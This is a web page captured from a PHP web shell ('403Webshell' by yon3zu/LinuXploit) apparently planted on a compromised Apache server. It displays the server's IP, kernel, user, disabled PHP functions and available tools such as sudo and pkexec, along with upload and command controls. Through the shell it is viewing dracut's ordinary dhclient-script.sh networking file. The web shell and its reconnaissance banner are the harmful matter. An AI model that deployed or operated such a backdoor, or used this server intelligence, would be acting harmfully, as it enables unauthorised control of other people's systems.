403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.145.161.194
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/lib/dracut/modules.d/40network/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/lib/dracut/modules.d/40network/dhclient-script.sh
#!/bin/sh
# -*- mode: shell-script; indent-tabs-mode: nil; sh-basic-offset: 4; -*-
# ex: ts=8 sw=4 sts=4 et filetype=sh

PATH=/usr/sbin:/usr/bin:/sbin:/bin

type getarg >/dev/null 2>&1 || . /lib/dracut-lib.sh
type ip_to_var >/dev/null 2>&1 || . /lib/net-lib.sh

# We already need a set netif here
netif=$interface

setup_interface() {
    ip=$new_ip_address
    mtu=$new_interface_mtu
    mask=$new_subnet_mask
    bcast=$new_broadcast_address
    gw=${new_routers%%,*}
    domain=$new_domain_name
    search=$(printf -- "$new_domain_search")
    namesrv=$new_domain_name_servers
    hostname=$new_host_name

    [ -n "$new_dhcp_lease_time" ] && lease_time=$new_dhcp_lease_time
    [ -n "$new_max_life" ] && lease_time=$new_max_life
    preferred_lft=$lease_time
    [ -n "$new_preferred_life" ] && preferred_lft=$new_preferred_life

    [ -f /tmp/net.$netif.override ] && . /tmp/net.$netif.override

    # Taken from debian dhclient-script:
    # The 576 MTU is only used for X.25 and dialup connections
    # where the admin wants low latency.  Such a low MTU can cause
    # problems with UDP traffic, among other things.  As such,
    # disallow MTUs from 576 and below by default, so that broken
    # MTUs are ignored, but higher stuff is allowed (1492, 1500, etc).
    if [ -n "$mtu" ] && [ $mtu -gt 576 ] ; then
        if ! ip link set $netif mtu $mtu ; then
            ip link set $netif down
            ip link set $netif mtu $mtu
            linkup $netif
        fi
    fi

    ip addr add $ip${mask:+/$mask} ${bcast:+broadcast $bcast} dev $netif \
        ${lease_time:+valid_lft $lease_time} \
        ${preferred_lft:+preferred_lft ${preferred_lft}}

    if [ -n "$gw" ] ; then
        if [ "$mask" == "255.255.255.255" ] ; then
            # point-to-point connection => set explicit route to gateway
            echo ip route add $gw dev $netif > /tmp/net.$netif.gw
        fi
        echo ip route replace default via $gw dev $netif >> /tmp/net.$netif.gw
    fi

    [ -n "${search}${domain}" ] && echo "search $search $domain" > /tmp/net.$netif.resolv.conf
    if  [ -n "$namesrv" ] ; then
        for s in $namesrv; do
            echo nameserver $s
        done
    fi >> /tmp/net.$netif.resolv.conf

    # Note: hostname can be fqdn OR short hostname, so chop off any
    # trailing domain name and explicity add any domain if set.
    [ -n "$hostname" ] && echo "echo ${hostname%.$domain}${domain:+.$domain} > /proc/sys/kernel/hostname" > /tmp/net.$netif.hostname
}

setup_interface6() {
    domain=$new_domain_name
    search=$(printf -- "$new_domain_search")
    namesrv=$new_domain_name_servers
    hostname=$new_host_name
    [ -n "$new_dhcp_lease_time" ] && lease_time=$new_dhcp_lease_time
    [ -n "$new_max_life" ] && lease_time=$new_max_life
    preferred_lft=$lease_time
    [ -n "$new_preferred_life" ] && preferred_lft=$new_preferred_life

    [ -f /tmp/net.$netif.override ] && . /tmp/net.$netif.override

    ip -6 addr add ${new_ip6_address}/${new_ip6_prefixlen} \
        dev ${netif} scope global \
        ${lease_time:+valid_lft $lease_time} \
        ${preferred_lft:+preferred_lft ${preferred_lft}}

    [ -n "${search}${domain}" ] && echo "search $search $domain" > /tmp/net.$netif.resolv.conf
    if  [ -n "$namesrv" ] ; then
        for s in $namesrv; do
            echo nameserver $s
        done
    fi >> /tmp/net.$netif.resolv.conf

    # Note: hostname can be fqdn OR short hostname, so chop off any
    # trailing domain name and explicity add any domain if set.
    [ -n "$hostname" ] && echo "echo ${hostname%.$domain}${domain:+.$domain} > /proc/sys/kernel/hostname" > /tmp/net.$netif.hostname
}

function parse_option_121() {
    while [ $# -ne 0 ]; do
        mask="$1"
        shift

        # Is the destination a multicast group?
        if [ $1 -ge 224 -a $1 -lt 240 ]; then
            multicast=1
        else
            multicast=0
        fi

        # Parse the arguments into a CIDR net/mask string
        if [ $mask -gt 24 ]; then
            destination="$1.$2.$3.$4/$mask"
            shift; shift; shift; shift
        elif [ $mask -gt 16 ]; then
            destination="$1.$2.$3.0/$mask"
            shift; shift; shift
        elif [ $mask -gt 8 ]; then
            destination="$1.$2.0.0/$mask"
            shift; shift
        else
            destination="$1.0.0.0/$mask"
            shift
        fi

        # Read the gateway
        gateway="$1.$2.$3.$4"
        shift; shift; shift; shift

        # Multicast routing on Linux
        #  - If you set a next-hop address for a multicast group, this breaks with Cisco switches
        #  - If you simply leave it link-local and attach it to an interface, it works fine.
        if [ $multicast -eq 1 ]; then
            temp_result="$destination dev $interface"
        else
            temp_result="$destination via $gateway dev $interface"
        fi

        echo "/sbin/ip route add $temp_result"
    done
}


case $reason in
    PREINIT)
        echo "dhcp: PREINIT $netif up"
        linkup $netif
        ;;

    PREINIT6)
        echo "dhcp: PREINIT6 $netif up"
        linkup $netif
        wait_for_ipv6_dad_link $netif
        ;;

    BOUND)
        echo "dhcp: BOND setting $netif"
        unset layer2
        if [ -f /sys/class/net/$netif/device/layer2 ]; then
            read layer2 < /sys/class/net/$netif/device/layer2
        fi
        if [ "$layer2" != "0" ]; then
            if ! arping -f -q -D -c 2 -I $netif $new_ip_address ; then
                warn "Duplicate address detected for $new_ip_address while doing dhcp. retrying"
                exit 1
            fi
        fi
        unset layer2
        setup_interface
        set | while read line; do
            [ "${line#new_}" = "$line" ] && continue
            echo "$line"
        done >/tmp/dhclient.$netif.dhcpopts

        {
            echo '. /lib/net-lib.sh'
            echo "setup_net $netif"
            if [ -n "$new_classless_static_routes" ]; then
                parse_option_121 $new_classless_static_routes
            fi
            echo "source_hook initqueue/online $netif"
            [ -e /tmp/net.$netif.manualup ] || echo "/sbin/netroot $netif"
            echo "rm -f -- $hookdir/initqueue/setup_net_$netif.sh"
        } > $hookdir/initqueue/setup_net_$netif.sh

        echo "[ -f /tmp/net.$netif.did-setup ]" > $hookdir/initqueue/finished/dhclient-$netif.sh
        >/tmp/net.$netif.up
        if [ -e /sys/class/net/${netif}/address ]; then
            > /tmp/net.$(cat /sys/class/net/${netif}/address).up
        fi

        ;;

    RENEW|REBIND)
        unset lease_time
        [ -n "$new_dhcp_lease_time" ] && lease_time=$new_dhcp_lease_time
        [ -n "$new_max_life" ] && lease_time=$new_max_life
        preferred_lft=$lease_time
        [ -n "$new_preferred_life" ] && preferred_lft=$new_preferred_life
        ip -4 addr change ${new_ip_address}/${new_subnet_mask} broadcast ${new_broadcast_address} dev ${interface} \
           ${lease_time:+valid_lft $lease_time} ${preferred_lft:+preferred_lft ${preferred_lft}} \
           >/dev/null 2>&1
        ;;

    BOUND6)
        echo "dhcp: BOND6 setting $netif"
        setup_interface6

        set | while read line; do
            [ "${line#new_}" = "$line" ] && continue
            echo "$line"
        done >/tmp/dhclient.$netif.dhcpopts

        {
            echo '. /lib/net-lib.sh'
            echo "setup_net $netif"
            echo "source_hook initqueue/online $netif"
            [ -e /tmp/net.$netif.manualup ] || echo "/sbin/netroot $netif"
            echo "rm -f -- $hookdir/initqueue/setup_net_$netif.sh"
        } > $hookdir/initqueue/setup_net_$netif.sh

        echo "[ -f /tmp/net.$netif.did-setup ]" > $hookdir/initqueue/finished/dhclient-$netif.sh
        >/tmp/net.$netif.up
        if [ -e /sys/class/net/${netif}/address ]; then
            > /tmp/net.$(cat /sys/class/net/${netif}/address).up
        fi
        ;;

    RENEW6|REBIND6)
        unset lease_time
        [ -n "$new_dhcp_lease_time" ] && lease_time=$new_dhcp_lease_time
        [ -n "$new_max_life" ] && lease_time=$new_max_life
        preferred_lft=$lease_time
        [ -n "$new_preferred_life" ] && preferred_lft=$new_preferred_life
        ip -6 addr change ${new_ip6_address}/${new_ip6_prefixlen} dev ${interface} scope global \
           ${lease_time:+valid_lft $lease_time} ${preferred_lft:+preferred_lft ${preferred_lft}} \
           >/dev/null 2>&1
        ;;

    *) echo "dhcp: $reason";;
esac

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit